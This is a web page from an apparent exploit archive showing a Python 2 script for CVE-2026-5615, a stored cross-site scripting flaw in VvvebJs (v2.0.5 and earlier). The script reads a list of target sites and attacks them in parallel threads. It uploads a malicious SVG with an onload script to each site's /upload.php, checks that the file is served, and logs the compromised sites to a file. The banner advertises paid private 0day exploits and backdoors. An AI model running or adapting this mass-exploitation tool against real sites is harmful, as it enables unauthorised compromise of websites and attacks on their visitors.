5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-5615.py PY
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import requests
import threading
import random
import string
from multiprocessing.dummy import Pool as ThreadPool

# =======================
# Colors
# =======================
fr = "\033[91m"
fg = "\033[92m"
fy = "\033[93m"
rs = "\033[0m"

# =======================
# Thread-safe print
# =======================
print_lock = threading.Lock()

requests.packages.urllib3.disable_warnings()


# =======================
# Helpers
# =======================
def randstr(n=8):
    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(n))


# =======================
# Exploit
# =======================
def Exploit(target):
    target = target.strip().rstrip("/")

    upload_url = target + "/upload.php"

    boundary = "SAHMSEC" + randstr()
    file_rand = "expbySAHMSEC"

    svg_payload = """<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<text x="10" y="20">%s</text>
</svg>
""" % file_rand

    data = (
        "--" + boundary + "\r\n" +
        'Content-Disposition: form-data; name="file"; filename="%s.svg"\r\n' % file_rand +
        "Content-Type: image/svg+xml\r\n\r\n" +
        svg_payload + "\r\n" +
        "--" + boundary + "--\r\n"
    )

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "multipart/form-data; boundary=" + boundary
    }

    try:
        r = requests.post(
            upload_url,
            data=data,
            headers=headers,
            timeout=10,
            verify=False
        )

        if r.status_code != 200:
            with print_lock:
                print("  - %s --> %sCant_Access%s" % (target, fr, rs))
            return

        import re
        m = re.search(r"/[a-zA-Z0-9_-]+\.svg", r.text)

        if not m:
            with print_lock:
                print("  - %s --> %sCant_Access%s" % (target, fr, rs))
            return

        upload_path = m.group(0)
        final_url = target + upload_path

        r2 = requests.get(final_url, timeout=10, verify=False)

        if (r2.status_code == 200 and
            file_rand in r2.text and
            '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">' in r2.text):

            with print_lock:
                print("  - %s --> %sExploited%s" % (target, fg, rs))
                print("   - %s%s%s" % (fg, final_url, rs))

            open("SAHMSEC-CVE-2026-5615_Exploited.txt", "a").write(
                target + " | " + final_url + "\n"
            )
            return

        with print_lock:
            print("  - %s --> %sNot_Vulnerable%s" % (target, fr, rs))

    except Exception:
        with print_lock:
            print("  - %s --> %sTime0ut%s" % (target, fr, rs))


# =======================
# MAIN
# =======================
banner = '''

 [ONLINE]

    [CVE-2026-5615] - VvvebJs - (<=v2.0.5) < File Injection[Stored Cross-Site Scripting(RXSS)]

         [CVSS] > 8.5 - (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)
         [Severity] > High
         [Date] > 06/04/2026
         [ExpID] > 10233271990233298

         [Notification] : Become a VIP/Premium user and get all the Source Codes,0day,1day private exploits and tools,backdoors

'''

print(banner)

path = raw_input(" - [WEBLIST] > ")
targets = open(path).read().splitlines()

pp = ThreadPool(10)
pp.map(Exploit, targets)
pp.close()
pp.join()